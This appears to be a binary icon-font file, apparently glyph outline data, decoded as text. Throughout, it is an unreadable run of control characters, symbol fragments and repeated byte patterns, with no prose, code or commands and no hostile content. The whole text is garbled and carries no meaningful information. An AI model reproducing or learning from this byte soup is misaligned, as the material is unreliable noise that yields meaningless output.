HS      # '  2+32#!"&=46;5#"&5463!P		`		  	 		 	 @      + G  !"=46;54;2354;232!2#!"&544+54+"#";;2=325X0((0LH<(<<(< $4444$ <<(<<       + 7  !"=46;54;2354;232!2#!"&542=4+"3X0((0L< $4444$ ((       + G  !"=46;54;2354;232!2#!"&5476/&'&??6'X0((0L0			00			00			00			 $4444$ 0			00			00			00			        + ;  !"=46;54;2354;232!2#!"&54'&'&?6X0((0LY	j.			R		 $4444$ `	j/	T	          6#!"&546;276
0

p




XD        	    727"/2"&4724#"2546pxTTxT&6(!!TxTTx6&(      $ 9  #!"&=46;546;23253+"&2#!"/&?6;53+	

	 		@	 	

	++	@k,	
P
			9pp		
P
	,,	       @ 
    4>?&576
	
J
8?
0@
8       2+&=#"&5463&&}`&&&&^T& &       '  2"&454&+";26754&+";26ΑΑ	0		0	p	0		0	Αη								         2"&454&+";26ΑΑX				Αη				       ! )  3#!"&535462#354&"264&"264&"``/!!/`KjK&4& !//! 5KK5  &&   @ * 6 B N  %+#!"&/#"&=46;7>3'&>3254&"26754&"26'54&"26@


CkPPkC
p


mmp

p

p

p

p

p
     C G  +32++"&?#+"&?#"&?6;7#"&?6;76;2376;2327#
OK
P
(b
)K
OK
P
(b
)Kc

	(
V
	RV
	R	(
	(
V
	RV
	R	       -  6"&462&"2642"&4264&"32+"&76\BB\B\((\BB\B\((h "	pB\BB\^((B\BB\^((0

       G   "264$2"&462"&46"264>."'&67673>'.56VzzzΑΑpppRHLH5	


	zzzΑYpppDM/A.!!.A/       B  #"/67'&/"&462&/&#".?5#"&=76;2|}~?$$$ofB6

= ?Ú
X<$$'l	P
_O		          7 G  7#76772+57#!"&5463!2'&+";2?3;2>74.+";26		/`9	$9	4	-99.5

1b_ 		T+4  ! 3 C S  .676#"#'7232#"/&764'&?67/&764'&?6/&764'&?6a@-.?
@ 8  8 @		_--
	%%	
&

;@@
(
QZZQ
("V66
	-t-	7#X#
	B	           ' / 7 ? G O W _  6"&4622"&42"&42"&42"&42"&42"&42"&42"&42"&42"&42"&4%6%%6(6%%6%6%%6%6%%6%6%%6%s%6%%6s%6%%6s%6%%6S         8 @ H ` d  7"&5462"&54&"&2#"&4632654>54&""&542"&42"&4%"&54=.'.7>'7/B/1g?-FdFSm Q@
	Qf"P"!//!
gI+	-?%&2FF2ImDo	V"P"    2 A t   &2#2#'&/&?6766766&#"32763&%.6767&'&>767'.7>7"'&63"&7>376"#32654&# !=+^C,:)
F"(-+
%

	
p:)
F"(	-+
	 !=+\C

3	!Y	!JZ9	


A
4!JZ9	


3	!G      8 D Q  7"&5462"&54&"&2#"&4632654>54&""&54%/&?6"/&?6/B/1g?-FdF		W	W			
		!//!
gI+	-?%&2FF2I	W	W					    2 ? k  46;5#"&546;5#"&546;5#"&746;'.>+"&7'&6767154/&'&6767'&6767'&676'&>[>~}
	|PkI%		={4	
N^
	_M
	g$Z
.

#

0ZC	
cy
	zb
	&   @ - E  %&'#"/&'&767'&6?6632654&#"6"326591W+)w}q<1W+5(*Y"P8*&T+:
e	:(fT+:
H
W'38P	=          ( / 7 W  2&/76'&"&'&4757633#"&5:64&"3#&"264///#576;?	7
P"

b	`@)			`				
		
 	5[7	TR;	7vI
!Z@ 			) @			

	&
R7	K<      F  #!"&547670>321&0#".'&'&2>767654' `)||)B#GG#	$FF$ Z		Z B3		32

2     ' / D  #32+32+#!"&5463!232&"26454&+"'#";26@4&&4&0'*		 @(@(00( &4&&4"     @   + 7 C O  2#!"&5463"26454&+"'#";26754+";2=4+";2=4+";2 4&&4&0'*'		``&4&&4""=HH          2"&4$"26427.#""'&#"ΑΑH44H494 ( 4Α14H44HD!!       # 7  2#!"&5463";264&#"26454&+"'#";26P`		`		4&&4&0'*'		` 				&4&&4""     @ 	   + 7 ? R  2!5463!#!"&%;2=4+";2=4+";2=4+"&"264;26'.+"'#"0@ `4&&4&

"*p0HH&4&&4     3 C  #0#"&54754622654.'54&"37"&5475462 K55J 8P8`!/(%A%6%  `%05KL50$(88h/!			
		%P%%%    " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%0%05KL50$(88(			
		%/     " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%ii0%05KL50$(88(			
		%/     " C  7"&54754627#0#"&54754624.'54&";26%6%    K55J 8P8(%!/@%%%))0%05KL50$(88(			
		%/      ;  6"&4627#0#"&54754624.'54&";26%6%%6E K55J 8P8(%!/[6%%6%%05KL50$(88(			
		%/     ! ) 1 9 A I Q Y a i q y      "/&47.7&#"#4632662"&462462"6"&462"&46:"&42"&462"&462462"6"&462462"6"&462"&462"&462"&462"&462 .@S;7):			)			W						2			`						)			W			w			W			W			I									8O. 2;S%H									)									)									7						)							)			)			       F  %2++"&=!+"&=&=#"&=46;5463266/&7.7&#"

 

 

 

/!*$_		

 + 



 + 

!/"
	_/        + Q Y  "'.542''&546'&'&7654&2&767>54.#"'.542"&4Ju.W=9R0;)%5F8%,!+6Ig*$9E6%%6%)U,,U
+>=UQ9A,
()95%+]BlN.5, gH-NlB]%6%%6        2#!"&546354#!"``TT        `   %2#!"&=463``           ! )  +54&+5463!2#!"&5463!24+"3 0/!  D!/0 04    	      / ? O _ o    +"&546;2++53232++53232++53232++53232%3#"=#"=4;5473#"=#"=4;5473#"=#"=4;5473#"=#"=4;54`****************`N0f0f0f00`0`0`0       %/&/"/+"&="/&4?5/.?/&?'.?>7'&/&6?'&?6'&>?65'&4?6546;2762?>76/76!?5
 	6?!"F@@F"!?6	 	6?!"F@@FgG$N5(		(6N$G%%G$N5(		(5N$G%% 	   '"/&4?&67>(0$X%	3	$1*1$	3	%X$0       * <  +"&?.5476227>56227562.>32+"&7% 
@
,,,y,"*9

8_"&7

*"_G;#VLB&
0

   &  2#"'&?632676&+"&=466 CrCg_G
	(0?FaeEB0*
$GBsCg@	(*bEGc,*
$E    	  ! - E  !#!"&26=4&"26=4&"26=4&"%2#!"&=46;76;2 				`				`				@		`		x	r	P													 		 	       :  &#"+"&7>3276+"&73232>76;2#"'&=46s1B:[
9ZcH$
׆*1B&D0	
9ZcH$;-G8		WsE$
y*-!9%		WsE$
    " 0  %"&54675#"=4;2+7654&+";2zzeKx8,			"((VzzVMu"(("	$			3b        1  %&=#"&=46;546+"&=46;2+";2

T(88(TTT`
`
`8((8(         1  !#"=4;26=4&+"=4;2'&=#"&=46;546TTTT(88W

((8((8`
`
`    $  276+"&?&'&3276#"&46 dG$
*0BEeaF?0(	
G_gE$
*,cGEb*(	@Α      0 8 D L  %#!"&5467&546;&546;2654'6323232$"2646&+"26&264&"#**#*&!/	(8&*<8<%O(**(#*&/!8(&*#[x  `   @  ! ) 4  %#!"&546;3%#!"&5463!24&"2!5'&'&/!((D`X(  !/P D((`0pX(       ! (  /&?62'6&?6?6&5#75.	o		.(<	o		z\


$$ @2.		o	.<(		o	z 


h0@ $        &?'762#r99(cr)(99    	 !  '762&7>?'/&?6299(US"r/7"fw!v(99(TS"7/r"fv         732"/&6;4;2.VV.8fVV.  M3   7/&4?6!2#VV..VV.8    M3   %546&=!"=43:VV.VV.8         #"&?62++"5X.VV.8VV       ;  %+"&?'+"&=467'&=46;27'&6;2/76
p$kk$p
$kk$
p$kk$p
$kk$hp
$kk$
p$kk$p
$kk$
p$kk$      )  #!"&546;46232&"26454+";2P&4&PHP`&&4d   M3   46&=#/&4?63zVVVVVV..VV.         72"/&6;5#"&?62+VV..VV.FVVVV        "&462#"?6&+54+"ΑΓGssG@'ΑΑtsst         "&462'#54&6=32=4gΑΑtsst8ΑΓGssG@      2"&43?6/&#"ΑΑtsstΑΓGssG@      6462"75326/&;;2ΑΓGssG@YΑΑtsst       4  %2#!"&546;2+!54632/"/&4?'&63			@	X
$$	`	 	p	@
$$      #  #!"&5463!2#"?6=4&`Xp 			 p`$ 			 p
        +  5463!546&=!"&2#!/&4?6
hPP


PP
0PP0

0PP0       1  %#!"&54674546326326&+54&+"#"7.K5<T6*^B,J(8A	0	Aj$65KT</JB^,$8(ip		pj     1  %#!"&546745463263226/&;;26=.K5<T6*^B,J(8jjA	0	$65KT</JB^,$8(Njjp		p      @        #'#!7#3#3'!"'?3&ZeE0EEPEee{GC{e  B    E   %"/&6;#"/&6;232:hh
@T8
@8pp8
   E   ++"&?6;#"&?62:
@
8T@
hH
8p    @ &   2+"&=4&#"32#!"&=46;54i}Z
 
+*0Y?P

P*+GF@          .5462"&264&"="pp"=B//B/6#X$5"PppP"5$X#
/B//B      ` 0 R  232+"&=46;5.=46;26=463"&=462#";#";#";P	WA8				8AW		B19T	hP88P8UUUUUU 	0Bc	"				"	iD(		*3NM80	8((88(  (      @   #  2+"&5463264&"74+";2c` Y8        - 2 7 ? D I  %2+"=4;5#"/&54?6;2%2#!"&546334&#5265#264&"5"75#`@@%%@P88P8p%@@%7
X@%% B\BB\b@%@%     (  %67#"/&?6'&?667'&?6Pyp
	
a<0heC>Wh0

	$%2p         +  2#!"&5463"26454&+"'#";26P4&&4&0'*'		`&4&&4""       76&7>.'/&44PL20#	.6"
P	)B,,U2&X
         '.54>?62>7'.=9*M@'	Kcl?sSC)C_G
PF%lJ      #  2#!"&5463264&"74#!"3!2H` Y8     @   & . B L T  2#!"'&54%"32?4761.264&"6264&"%6.'&3654'73264&#"264&"'	D	' 					C
=#	n	L
.wNCCNwi		5
		%      @   /  !!$3#!"&=264&#5463!2"'4&#!"3!265@ L


P
 t(``(``8



        $"&4622#!"&=46;27<xTTxT5K`K57#L#TxTTxtK55K         +  2#!"&5463'76/&'&??6`LCC		(		BB		(		CC		(		BB		(	`BB		(		CC		(		BB		(		CC		(	      & ,  %#"'67'&477&'6267&'%6'77&7p!HddH 66 HH 67T'FF'!DD!&FF&!DD"MM
CCMM
BD       
      & +  '6'676'7&'%'67%&'667*N5i.9S?N7M
<.4b.8S?^N7M
.4b*N5M7N,.Fb4"N*E.?S,.Fb4"N*E.?SM7N,            2"&4264&"6264&"264&"ΑΑk`Α'Z        ; S s {   7'&546;5#"=4;54;232+3232+#65#"&=463+"&=4?546;27'&=4;2354;2354;2#7354&"+"&=4?546;2J"	99	"
										t6~/ 		w						Z	  	Z		A??A		
		
		
;;
RP  		
		
		   @ # 3  7467.546;22?#5&2#!"&=463G*@&!ld88(				5"=le<+C,,]	 		 	              # ' + / 3 7 ; ? C G K O S W [ _ c g k o s w {   #53#7#53#'3##53#5#5#535#5353#5353#53353%3##53533#753'533#%3##5353'#5373#3#'#553%#53# @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@ @@ @@@@ @@@@@ @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@     6  !2#!"&=4632!'&546;5#"=4;54;232+				p		JJ((0((	 		 	 		00((00     ' / ?  7.=4?'&54;2!54>?>=#"'4"2642#!"&=463	Oq9
	(					
	pP2	 		 	      @ # 3  7.546232+#6=#"&=4632#!"&=463i=V=								/+==+/	 	P++P	 		 		 	        I   "&4622#!"&=463!'&54?6323>546;22676;232676.!!.!x				ff

' '

P!.!!.	 		 		

     # + ;  2!65'546;23546;23546354&"2#!"&=463p	@@	8	0	P	0	X					 VJJV 		00		00	@@	 		 	       / S  2+"&=#"=4;54632++"&546;2'2+"&=#+"&546;235463h

0

@
0

0


0

0

0

`


h0h
0h



h
p






        Q  '&'&'&'>7'&'&'&??6/7?6/7?6/76/&63463ggf45[45ooT      # - 8 B  73+"+"=4&+"&%#.54622654''4''32674''326`(@$-5zzH@ 5,&]7Vzz/
M          <62"'67"&5ԖԖ77ԖP88P8((n(88(     # 5  %/6?6&67>32"&54>'7>76 W65_<Q	"..C.
";V"
m($* pJ/B//!A
+m7+	          !!   @   	 
  '  %&'762&/"/&4?'.72"&40q"8??/)$Y5g#	>P88P8 /8??/$g5Y#Q"8P88P   
   ( 2 @  7.'>7'&67&'.'667&'>7#"&'6#0#6&-V!	`D$>_GE#707%0344LS)(F>/Ov]&K
0K*,-'p4/Gr 2Oc?Q&6'2U(
1)+*WR"/D_5E     : B J R Z b j r   2+"/&>5462;2=462;2=462;2=4264&"6264&"264&"6264&"264&"264&"6264&"}
!								I							I			)			)			Pq!!H			W						W			)			I			w			        ` 	    ' / 7  46;#"&52+!&"264"264&"264"264&``&@&&` Fn && &&@@RnR       	    0#532'#617>3!#!"&53c `
!    @  ) >  %2+"&=46;75%"&=46;7532#2+"&=46;750				P  		P  P						P  				``@		``		@				``        9  2#!"&546;546;2'3554+54+"#";;2=32`P 808808@ 00   088088    
   "&5462654'Ukkkj,T6``M:^vv^:5*8ii8*   G  % /  %#"/&'"&=46326763254&"7'&#"+'$<"B\BB.-@$<"(#RA']1
.BB..B>,!1pp-:]	)        -  2#!"&546;462&"2646/&'&7PP&4&6a			j.			R	`&&	j/	T        % - 5 A M Y  2#!"&546;462264&"6264&"6264&"6"26454+";2=4+";2=4+";2PP&4&h`&&RRhh       3 ; C K [  $"&462&"&462'&67676563267'&'#5&$"264&"264&"&4622#!"&=463			H44H47VJ<E /
2781
7n										G4H44H	
 #	[[n				 		 	    < A G M  >7.'&6;2!676;23&'67+"'&'!+"&67#7!36!&'# B--B 
 8 

*M1," *9
  
$	./DIID/

(?9@$Z8		h    B  5 =  %'&>?7'76&'.'&7#"&=46;276264&"&5>!=!=<D-+,\Y		pd-((cc5)G,8,7#	 	$G((      B  7"&546;7532#2+"&547#"&547#"&5#"&=46;2		00		 		S((S	0		`		 	  	 	@	 				p	 		      6  #532;#!"&546;4+54+"#";;2=325y
7



@808808W




88088     / 8  ;#!"&=32?3264&+'&"'&+"=4;546;#532 


F#
9Z		F#
98
ș
8


Fr,		Fr(
i
    @ 	  ) 3  46;#"&5!%;;2=32=4+54+"#"%2+00@ 808808P0p@0@088088   @  % 1 = I e q }  2#!"&546;546;254+";2=4+";254+";2=4+";2754+54+"#";;2=3254+";2=4+";2 		 ((((((((((((`		p@@((((t((((((((       #  2"&454+"#54+";2=3;2ԖԖp0`00`0ԖXXXX    @   . 8  2#!"&546;35"26426'.+"'#"3#546;2 F4&&4&
"*
@```&4&&4``      9 E  2#!"&546;462&"26454+54+"#";;2=32=4+";2PP&4&6H808808`&&088088       8 < @  7"&=46;7532##32#!"&=46;5#"&=463!25#!5#		p@@p		00				00		`				  		@	 		 	@	 		 	@@@@@    D    '  2"&=454&"7.7>/&76B\BB\B(/vT"S	#/B..BB..pp#	Sv/7Tv/"     ! 1  5!#!"&=32=4+532=4+532=4#72#!"&=463 @ xxxxx



 @@@@
0

0
         5  2#!"&=463!#!"&7;;2=32=4+54+"#"h



@ @808808
0

0
 `088088     # ? G  %2+"&=!+"&546;235463'"=4;276232+'"/"&462.B	 	 	 		 		2f		z2L4&&4&B.		00		`			(c		7		,c		7 &4&&4       I Q Y ^  %2+"&5#"&=32=4+"=4;2=4+"=4;2=4#!"=4;5463!232264&"264&"75'#p		08P88P88 ,d,((\((d,`	 	(88((88(00dlp((((dp        # 3 7 N Z  %2+"=43+"=4&'&=4;22#!"&=4635#+"=4'&=4;22+"=43x0).0$0p		`0$<0X0`	W1&B%>>		@p@@B9!,*AB>,   >  7//&?'&??6/7?6'7//&?67'&?6@&@BC87-8-I""9-ACB@&87.8-J""8-     $ .  2#!"&562#".'463 /&76.76dx[		/	[<7*T	#/F/vT	# M::c:M$1kTv/#F#	Tv/     (  #"&4?57?6/7?6/7?6/7>#dYY-22-22-23.M!RYYe.32.32.32.       /#"'&6?'&?67'"+/"FO"$ R"EO        ' ; ?  "=4;2+"&=3352#!"&=463"=4;2+"&=335H/B/0@				X/B/0@00!//!``	 		 	00!//!``       # A  %2#!"=432#!"=43%2#!"5743%+"=4&#!"+"547%62ppPP`00`0000 W q       ! 2  2#!"&546;2654'"&462'"2654'76.&&&&qqd^^^""&&&@&-3OqqO3- ^^^:O         3 }  62"&4"&4622#!"&=4632#!"&=46;!'54+532=4+54+"#";#";#";#"26=3264&+532=4+532										`				0 `hhhhhh@(@(@hh@							 		 	@	 		 	`    ((      " -  %2?/.=32?7/76!6/.7

@@\\'66'kkp8 

 8       $ ,  2#"'#"&'&>7&54264&"264&"264&"Ԗj83AL9szz319JVv    $  747#"'#"&767&'&?6632@	E&(83AL,9:
	
iI`j9
3
4+9

	R5zVH:         9  74&+463!2#"!%2+"&=!+"&=&546;2!5463& 8(@(8 && 	@		@	 & &(88(&@`&$y				y$&``         F h  $"&462'+"&;26=>54&/&546;2?6&'&'54&+"2#!"&=46;#"3!2=4+67Vzzz"?
&
	
">
'

@ +?

l

@, zzz$!




$!



``''   	 ) 1  &'67673+#&'&6?&'&54762546264&" N5 
,pp ^BMA
k.U}N/			;1%
E8K@B^8H$Qh=7	
EX<!/`			    A  %  %#!"&=46;76;2+";2?625		7/ *N		v]	x
	y	`	&		J    A  8  %'&6767>"#!"&=46;76;2+";2?62m=<m		7/ *N		v]	rHHrH
	y	`	&		J     A E o  .'&67546;2'&+"+"&=&'&5474?6;254'#!"&=46;7>;2+";2?62 

	$	6 
	$			7/,N		v]	0%			%		

y	`	&		J    " E  7+"'&/&=4622?6/&>$2+"&=4?>2?549	i
Z
&
i	9&
ZM"+p		l	3		p+"M
3	l     % @  2+++&/&6?54?26=%54&+"&=4?6;76

&gPPA*<*,P!"!gg 
0
@&<.0$'z**8%.!X~	
<    5  ++"&=47'#"&7>7#6;5#462#327#4' 
				
.C)>t0pQ^Qp0t>?X
		
$A,DlRnnRlDT        e n  "&462"&462#"/?#"#.?6?'#&/&/"#"&/&?676546;2?676.7((d((N)
C
	
+33+

C$		#)`((((pE.d L]\1G!!G1\]L P '"
`		`
"' .E
   @ C K Z  %2++"&=#+"&=.5#"&7>32+";>;26;264&"'"4&54621&#0		1	@		@	("
+X:, i			8P8		Q		00		Q'0&	7I"L@			(88(      )  ?/.%'.4>?6762'67&"uO[D		E,
"k
,"O4!Z!Xf#	II@&W;        & . ; C  %2#!673264&+"&46;&5462#"3"2642.54264&"(88(`(88(--8P80`mxP80 5S8P8!8P8@ (88(P 8(P&V(H        2+"&="&5%3&'>@]	 	]@tU+)2;`]		]@V	=/*     # '  2#!+"&5#"&=46;546;25!			 	0		0	 	 @	 			p	 	0		0         " /  <62"4&"276'.#"?62&276&"Α7

%
&--

#nYΑΑ						o66*         !  2"&42#!"&462&264&"4&&4&		p]CP88P8 &4&&4	 	]^B@8P88P   ) 1  7'&>?7'72&!#"&'/&7%46264&"21M>M2L B.-AwZ((H\]:~p.B?-l.^D@((     ) 1 9 ? G  %+"&547##"'#"&5463!232264&"264&"%3'&#264&"m	/B//!((!/&0\+V	!//!!/  /!P`0+      &  /'&?632576%5#!"&z
%	
N n"n
	!
	=K 
    %   2+"546;5.?4>;2(4@	@4uW77Wu     !  '&?6>323!"&=46z
	
M2<T!0O


	i/=T<0&3
7O     . 6 R Z b  7"&=46;>3232+"&'7;26=4&+"/?+54&+"#"&=46722"&4&2#54@		P0.%			P`P8(0(8H$$$$3EPPE30p			W	 	`	+5$	`	+55+X(88(Y$$$L3
@@
3L`					00         +  $"&4622#!"&=46;27%/&?676jKKjK&7OO7#L#T		Q			-i	KjKKjkO7**7O	R			-h	      + 3  $2"&454+54+";2'!"&=46;2732&"&462xTTxT
&


<
(#O7#L#+jKKjKTxTTxB
6

L
,L*7O&HKjKKj    ; C K v  %/'&=&''&'&?&7'&767667547676264&"&"&462#!"&=46;2732332?b
!!

!!
((jKKjKIO7#L#


	K    0((tKjKKj
*7O'        $ /  $"&4622!"&=46;277&7%'?62jKKjK&;)NO7#L#>G=*H%KjKKjk.M=
*7OG*H&        # 7  6"&4622#!"&=46;27$"&4622+46=4'6;27\BB\B#0CC0	!F!P88P80.B(*B\BB\bC00C 8P88PXB.'9+        :  %#!"&=467&4?6"&547'+"&?&5475?6KK6_`KjKB*M6

6M_P..5KK55>	>;       3 ; C  $"&462!"&=46;2730%2+"&=46;5462264&"754&"jKKjK 	O7#L#  /B/]@KjKKj*7OP!//!P}PP        +  %2+"&=463"&4622#!"&=46;27p				jKKjK&7OO7#L#	 		 	0KjKKjkO7**7O     % -  %#!"&=467'47&52>32#"&'7"34&#E4GG4e++1#5KK5,CgL4**4Lf33(KjK5)`         7  %'.54?6>7'&"&462#!"&=46;273230n$"5Ps!;`jKKjK 7,	
O7#L#$@/&sN-N:&KjKKjsDm#*7O      !  '&?6>324>7!"&5z
	
#8!5K0&3


	r 6K5)B 9%       + @  %"/&=46;22>4.#"'".54632#!"&=46;2732w	
\		[O\
#;"K5#;"KK:O7#L#S		]		[OEX";#5K";#5Ko(:*7O          $"&462#!"&=4677'3jKKjK 5KK50  `  KjKKjlN5**5N88      ; C K b    %/'&=&''&'&?&7'&767667547676264&"$"&462"&5462"'&#""#"&=46;323630#3273'#"&=46;2b
!!

!!
((4&&4&.BA]B	
fD/	!##
(B&@k    0((t&4&&4FB..BB."


0C '	:# &     * B E [ ^  !2+"&5&'&/&6?&5463276%#"&505467>762'3'1"&50546767623'			
/!.v
  ";#5K
<SȐH
KjK
<fH	 		W0+!/(',!ِ%/!<
j(59	!//!<4&  + > A W Z  46;&/.?>632/+"&5'054676762"&73'0546767621"&73'`	 
v.!/
		`
<SKjK8H 
<
KjK8H	'!,'(/!+0			96(!//1	95(&4<!//1        ; ?  %2#!"&=463264&"";#";#";!'#"&=463!3'#%%sHri 	gQQF@%  %`@@@`@      @  "  6#.5476'&'"&546OM{O'	l	//		'R	        $ 9 K i l  "'&476;2#'+"'&476;2%+".7>&'&>;22+"&764'&63&/#/.7&54>23'"		_		#
#		#		#y"		R11"p`0 6,4]+	9|9	9|9	)[6@6,dvv:t     )  %/6?6&67>3%'7>76 W65_<Q	";V"
m)$* pJ	+m6+	     !  #463!2#2#!"&=463!53`@@P				x`	 		 	@@       4  72+"&54632276&"&4622+&'3533!&#5463/AA/(P88P8P	L@!`B//B 8P88P&@@ 2.       - 7 @  %#54&"#54?5#"&=46;546;232+46?#"&5%+5`%6%`p0		0	 	0		0mp	m	p	`%%`	D3	 	0		0	 	3	/	d	      	   ( 0 8  5 7"&5 "&46232>7"&5%567$2"&4&'67==qqqqq h:&H>qq?!#ppp0n37++++&&@&4&&44&&)?+	/B//B	"%+         2"&44635"264&"62"&4ΑΑX^BOqP88P8SΑgB^ qO`8P88PH    ) 1  2/"#"+/#&54754632264&" (8`M=),'&,ayt/!'J%PAepxhx=	%!/ H       ;  !2#!"&=463 2#"'!'#"&4626?&5462?&54		`		(HH(HR(RH	 		 	@((

++

       ( 0 8 @ H P  2+"&=7>'264&"'"/&4?62264&"264&"6264&"6264&"264&"P	
(( .1((rr       ' / 7  2#!"&5463264&"6264&"264&"264&"6264&"%%%%3ss%%%@%ss        ' /  2#!"&5463264&"6264&"264&"6264&"%%%%3%%%@%          2#!"&5463264&"%%%%%%%@%         ' / 7 ?  2#!"&5463264&"6264&"6264&"264&"6264&"6264&"%%%%3%%%@%MMMM          '  2#!"&5463264&"264&"264&"%%%%3ss%%%@%ss          2#!"&5463264&"264&"%%%%3%%%@%        62"&46"&4622#!"&=4636%%6%[6%%6%`%6%%6%6%%6U       !  !2#!"&=46;463!2&264&"p				p m	 		 	s      " *  !2+#5326!"&=46;467264&"p		`p		P
	 	@!	 	m       0P    %2#!"&=463%2#!"&=463          "  33&'"&476&&67>7>'
!b'bGE:B)!.,_Q'g9,'1B5t*"-,!   @ 9 A  32+'6.'&"?632#!"&54>7>2264&":)b6	Zw	F# #& #O	&5HX0,:,S_#Vi	~,
	B0	%1]L<%%%C      @ D  !2#!"&=463'.=4&+!46;23226=.='&4?625#P				/!%&&$4&	 		 	U +,p`&&4$ 

>&    @ C P ]  %+"&/#+"&=4?>/&6323632'&'&&/&6?67&#";26%5&#";26>C0%.B$B.%0C-
C$'));7J7;))'$C
##%$%6$%##%F/C=,'',=C/F&%		%&)%%)       %&/&6?'.?>n		"		ff	        (  .?>&/&6?2#!"&=4637
.

p

TxxD
0

0
   & , >  %"/&6;235#"&=463!2+2#'3.#!"&=463!260
V 	(+а				]}#4!#		F@s@l:@	 		 	@]|4#	 	        `   )  2#"'#"&4632627&#"!2>54&#"FccFQFFQFccFQFF////!+L+///`^^OO^^OO@@&
&@@    @ 4 @ D  %"#"/#"+"&=#"'+"&=.54>76;2264&#"5@
JLL				,4$0	TFCP
.Ew
	h1	;		16		JY4)D&
0.=K	
c	      %'%&=467%6m	3	Z	"		f       &  7&=47%6'2#!"&=4637.D

p

xDDB
0

0
             $ H  !5>4&'5463!25#35#35#5!#54&"#54&"#54&"#54&"@`@@@`@								=	cc#``







  5 U  '&?65462#";#";#36=46;22+"&=46;5.=7z	
	
8P8UUUUU),		L				8AW4
<)2

	
	-(88(   0		0*&				"	iD)(9'"        & , 4 : @  #"'&#"#"'&54632326322>7&.#6264&"575&'m	+1>>?5+1>>?$"%B//B/` 	>=>d=$8P88PT:1
#       &  #"'&#"#"'&5463232632 264&"m	+1>>?5+1>>?B//B/	>=>8P88P       	  % 1 = G  1!#!"&%;26=4&+";2=4+"%3!2=4#!";2=4+"2!5463	`		`	pp00		@ 		 		Xh@	00	        K W c o  2#!"&54632>54&/&546;2?6'&'54+"+"'&;25754+";2754+";2=4#!"3!2`	-	-	ppPP	

 h    3  %#32+/&?#"&=46;7#"&=463!7632bKS	
37KR

4` j		C ` j		C         % - 5  6+".7>264&"6264&"6264&"264&"PU&P&(/hP)n/3=N&@";*P}CJmm-S     " *  2#!"&5463264&+";26=72+5(88(`		 	00`8P8			0@        "&462"&467"/&4762%6%%6%%%6%%F







%%%6%%%6%%6%







     $ 4  %2+"&=4633#"'#"&=46;2%2+"&=463@@$I`  @0p     % 1 = I  6/"/"/&54676276254+";2=4+";2=4+";2f&6
66
6&&6
66
6	
 
	------	

	-----hh       	 ! % - 1 5 = G  546;#"&52#!"&546;54625#6264&"5#35#6264&"72+5  !/&&/!p`@""@@""  /!&&!/@@  x""    x""1  7  &/&6??6/7?6/7?6/7?6/7?6/76|PE<<87<<77<;E'ef/0ff/0ff'       # G  7&546;2#";#";#"32#!"'73;2=3;2=3;2=`88888x@)@@) @@@`888888       @@@ 7  2#!"&=46;;2=3;2=3;2=3;2=3;2=  0@@@@@XXXXXXXXXX       /  73+"&546;2#";#";#";#"XXXXXXXX @@@@@    	  / 7 A  546;#"&52+"=4;27#54&+"#4?62264&"%2+@P	h0	`	3B//B/p	P	@@(@
		u
k/B//B	@     	   #.'7562"/&47@`>SS>+u5@SS>+>u5      ! 4  "&46;46;#"%2'&/52>76#"'.#57676%% %  ,IfHM-4#-:+0MH2N/80+:-#3 %6%6%2.&B
	 B&, 	     * 2 :  2+54+"#54+"#"&?6'.54264&"264&"Ԗ*	N@N		,24&&4&4&&4&]"A6B8888B Z4]&4&&4&&4&&4      	    / J  7546;#"&2"&427735654&#"32+'2+"'.#".'46;2`	`v	6ԖԖ =2$q| 3$qO=2|		#,#@	`	7Ԗ$2=Oq  o2=Oq$|	@	 t  3  #"'"'"'#"'.?63!22767#!".=327!5Z&/,XX-/&A					@					I(Z!!!!!!Z(h		dd    %  %53#!"&53%#!"&?63!23+"&@@ @
U		%@	 	@  ""		         /  "&=463!2#2#!"&=4632#!"&=463				@		`		`		`		@	@		@	P	@		@		@		@	              7'7'772"&464/76/&'7?6/76/&'&'76/&'&'76/&'&?'&?'&??6/7??6/7??6/76/&'77'7----------jԖԖ.""--"!-.""--"!-------D------qԖԒ-"!-.""--"!-.""-3---     + / M  %#54&+"#54&+"#54?6;546;232'5#53#!"&=3;26=3;26		 		 		.	33	@	 		 		S				S	.	PP		@@``				  %  /&#!"&=4&&/&6?267w99 99?L?`r				r`      C  : I  "&462/&/&/&/&?.?67>327"&4?6((.		-<"	#8	(	;
	2
`((E2YJB"<	 	*"4
,"	<	
2	      $  2#!"&5463!2#!"3264&"s%%p			C@ %@%			      $ 6 O  2"&42654':12764./&>'&"67627>'.3232654'ΑΑP
b FbP
ΑW
	&&	      @ " 2  !2+"&=4&"+"&=46;!2#!"&=4630			8P8			 					 		(88(		 	`	 		 	 	    	    # : B J  %6?#&''#>#6&'37.'#!"&5463!2"2645!"3>-''-V
."'--'L


)77)FjKKjK 1) )#*)11))*#	4
	7)@)7&KjKKj@    , x   7327/"&?#'&/32767672>367'&"&'.'&'.'&764'&7>76767676276&2654.#"a4%4	
.	!
	4%4	J
		
	

	

7N7+'U
&p
Y&



	
	

	P88(,       -  2#!"/&4?63'76/&'&??6@%%		>>>>>>>>% %

>>>>>>>>       ' 7 M ]  2+"&=463#>7##"&46322+"&=4632#"&'##&'6=3>2+"&=463p`@629*P
%% %` %% P*926U ```8H'?0O	
%6%``%6%O0?'H``    1 ;  #"'&54675#"&=46;2+7'&?6/'!&/5#.&4,				'	4	+% %`@!,34Y	 
	 
'	4	+.53,!''       	  #  2!54635!+"&=#"&"264` %@%6%@%  %@%%@%M      4 @ H R \ d  2+++"&=#+"&="&=#"&=46;5462%;2=4+"264&"75#";26=4&+264&"

  

=ppps@
P
    
P
0".."08]``     [  %#"##"'&'+"=#"'&767"#"'&4767.'4546320454>762>7632		<I		%((%		I<		 ,+	"S!!	!S"+-X	@@		!V#

)5p(.0F!)
	#V!	       '  "/&4?62762'&?62762"(op-7-(pp-7-    @  -  2+"546;5'&63!22#"'73264&#"#>(8n<TT<(#$(88(,4J}}TxT$	8P8+5        )  !4675#"&=46;2+2#!"&=463 Rn@nR		`				 		=~TT~					 		 	   % - 5 =  %/././&54?>?6264&"6264&"264&"$
E'*M+7$!E'*M*73*'E
$7+L
E"$7+     # + 3 ;  %/././&54?>?63264&"6264&"264&"#
E'*M+7$!E&*J5J3*&E
$7+L
E"$4J5Jq         1  %2++"&5#5323#"&5#"&=46;546;2

(
0
(

(
0
`
0
(

H` H` 
0
